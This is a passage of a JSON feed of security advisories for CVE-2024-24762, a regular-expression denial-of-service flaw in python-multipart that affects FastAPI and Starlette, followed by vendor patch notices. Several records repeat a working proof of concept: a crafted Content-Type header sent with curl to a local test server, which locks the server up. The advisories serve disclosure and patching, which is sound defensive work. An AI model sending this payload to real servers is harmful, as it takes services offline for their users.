!=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\n### PoC\n\nCreate a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`:\n\n```Python\n# main.py\nfrom wsgiref.simple_server import make_server\nfrom wsgiref.validate import validator\n\nfrom multipart.multipart import parse_options_header\n\n\ndef simple_app(environ, start_response):\n    _, _ = parse_options_header(environ[\"CONTENT_TYPE\"])\n\n    start_response(\"200 OK\", [(\"Content-type\", \"text/plain\")])\n    return [b\"Ok\"]\n\n\nhttpd = make_server(\"\", 8123, validator(simple_app))\nprint(\"Serving on port 8123...\")\nhttpd.serve_forever()\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'\n```\n\n### Impact\n\nThis is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI'm running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\nYou'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e","status":"published","published":"2024-02-12T17:28:12Z","modified":"2026-09-10T03:50:05.199982721Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"GHSA-qf9m-vfgh-m389","title":"Duplicate Advisory: FastAPI Content-Type Header ReDoS","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\nThis is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238\n\n### PoC\n\nCreate a FastAPI app that uses form data:\n\n```Python\n# main.py\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nThen start it with:\n\n```console\n$ uvicorn main:app\n\nINFO:     Started server process [50601]\nINFO:     Waiting for application startup.\nINFO:     ASGI 'lifespan' protocol appears unsupported.\nINFO:     Application startup complete.\nINFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\n#### Stopping it\n\nBecause that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with `Ctrl+C` as it can't handle the signal.\n\nTo stop it, first check the process ID running Uvicorn:\n\n```console\n$ ps -fA | grep uvicorn\n\n  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app\n  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn\n```\n\nIn this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:\n\n```console\n$ kill -9 59461\n```\n\n### Impact\n\nIt's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI'm running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\nYou'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e","status":"withdrawn","published":"2024-02-05T17:01:54Z","modified":"2026-07-07T17:56:49.144644089Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:46:54.40888Z"},{"id":"PYSEC-2024-38","description":"FastAPI is a web framework for building APIs with Python 3.8+ based on standard Python type hints. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests. It's a ReDoS(Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This vulnerability has been patched in version 0.109.1.","status":"published","published":"2024-02-05T15:15:00Z","modified":"2026-07-07T17:56:49.144644089Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:54.242332Z"},{"id":"PYSEC-2026-1850","title":"python-multipart vulnerable to Content-Type Header ReDoS","description":"### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\n### PoC\n\nCreate a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`:\n\n```Python\n# main.py\nfrom wsgiref.simple_server import make_server\nfrom wsgiref.validate import validator\n\nfrom multipart.multipart import parse_options_header\n\n\ndef simple_app(environ, start_response):\n    _, _ = parse_options_header(environ[\"CONTENT_TYPE\"])\n\n    start_response(\"200 OK\", [(\"Content-type\", \"text/plain\")])\n    return [b\"Ok\"]\n\n\nhttpd = make_server(\"\", 8123, validator(simple_app))\nprint(\"Serving on port 8123...\")\nhttpd.serve_forever()\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'\n```\n\n### Impact\n\nThis is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI'm running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\nYou'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e","status":"published","published":"2026-07-07T11:45:32.513395Z","modified":"2026-07-07T17:56:49.144644089Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"UBUNTU-CVE-2024-24762","description":"`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.","status":"published","published":"2024-02-05T15:15:00Z","modified":"2026-02-12T14:43:59.909344Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:42.68848Z"},{"id":"CLSA-2025-1755043914","title":"TuxCare security update for fastapi (1 CVE)","description":"TuxCare rebuilt fastapi to address 1 CVE. Fixed in 0.63.0.post2+tuxcare.","status":"published","published":"2026-08-04T14:52:08Z","modified":"2026-10-15T09:46:27.823891345Z","updated_at":"2026-11-02T15:43:42.025438Z"},{"id":"CLSA-2025-1755735112","title":"TuxCare security update for fastapi (1 CVE)","description":"TuxCare rebuilt fastapi to address 1 CVE. Fixed in 0.104.1.post1+tuxcare.","status":"published","published":"2026-08-04T14:52:08Z","modified":"2026-10-15T09:48:04.97914086Z","updated_at":"2026-11-02T15:43:42.025438Z"},{"id":"CLSA-2025-1758586346","title":"TuxCare security update for python-multipart (1 CVE)","description":"TuxCare rebuilt python-multipart to address 1 CVE. Fixed in 0.0.6.post1+tuxcare.","status":"published","published":"2026-08-04T14:52:09Z","modified":"2026-10-15T09:48:00.929749019Z","updated_at":"2026-11-02T15:43:42.427288Z"},{"id":"CLSA-2026-1787305298","title":"TuxCare security update for starlette (1 CVE)","description":"TuxCare rebuilt starlette to address 1 CVE. Fixed in 0.27.0.post7+tuxcare.","status":"published","published":"2026-08-21T09:41:38Z","modified":"2026-10-15T09:48:05.829994501Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"openSUSE-SU-2024:13664-1","title":"python310-python-multipart-0.0.7-1.1 on GA media","description":"These are all security issues fixed in the python310-python-multipart-0.0.7-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:31:16.050394Z","updated_at":"2026-11-02T16:58:36.327643Z"},{"id":"openSUSE-SU-2024:13684-1","title":"python310-fastapi-0.109.1-1.1 on GA media","description":"These are all security issues fixed in the python310-fastapi-0.109.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:46:00.991264Z","updated_at":"2026-11-02T16:58:36.327643Z"},{"id":"openSUSE-SU-2026:11710-1","title":"python313-fastapi-0.138.0-2.1 on GA media","description":"These are all security issues fixed in the python313-fastapi-0.138.0-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-07T00:00:00Z","modified":"2026-09-08T09:00:05.287090643Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:12032-1","title":"python313-python-multipart-0.0.32-1.3 on GA media","description":"These are all security issues fixed in the python313-python-multipart-0.0.32-1.3 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-04T00:00:00Z","modified":"2026-10-05T10:15:31.096232793Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"ROOT-APP-PYPI-CVE-2024-24762","title":"CVE-2024-24762 in python-multipart - Patched by Root","description":"Root has patched CVE-2024-24762 in the python-multipart package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-14T08:55:54Z","modified":"2026-09-14T09:15:03.099075719Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-PYPI-GHSA-qf9m-vfgh-m389","title":"GHSA-qf9m-vfgh-m389 in fastapi - Patched by Root","description":"Root has patched GHSA-qf9m-vfgh-m389 in the fastapi package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-16T05:51:50Z","modified":"2026-09-16T06:15:04.216031876Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"USN-8027-1","title":"python-multipart vulnerabilities","description":"It was discovered that Python-Multipart incorrectly handled certain \nregular expressions. An attacker could possibly use this issue to cause\nPython-Multipart to consume excessive resources, leading to a regular \nexpression denial of service. This issue only affected Ubuntu 22.04 LTS.\n(CVE-2024-24762)\n\nIt was discovered that Python-Multipart did not properly sanitize line\nbreaks during user input. An attacker could use this issue to send \narbitrary input, thus preventing other requests from being processed, \nresulting in a denial of service. This issue was only fixed in \nUbuntu 24.04 LTS. (CVE-2024-53981)\n\nIt was discovered that Python-Multipart was vulnerable to path traversal\nattacks. An attacker could possibly craft and upload files outside the \ntarget directory, resulting in remote code execution. (CVE-2026-24486)","status":"published","published":"2026-02-11T17:05:53Z","modified":"2026-10-27T04:16:43.566662488Z","updated_at":"2026-11-02T16:58:22.951676Z"}]}}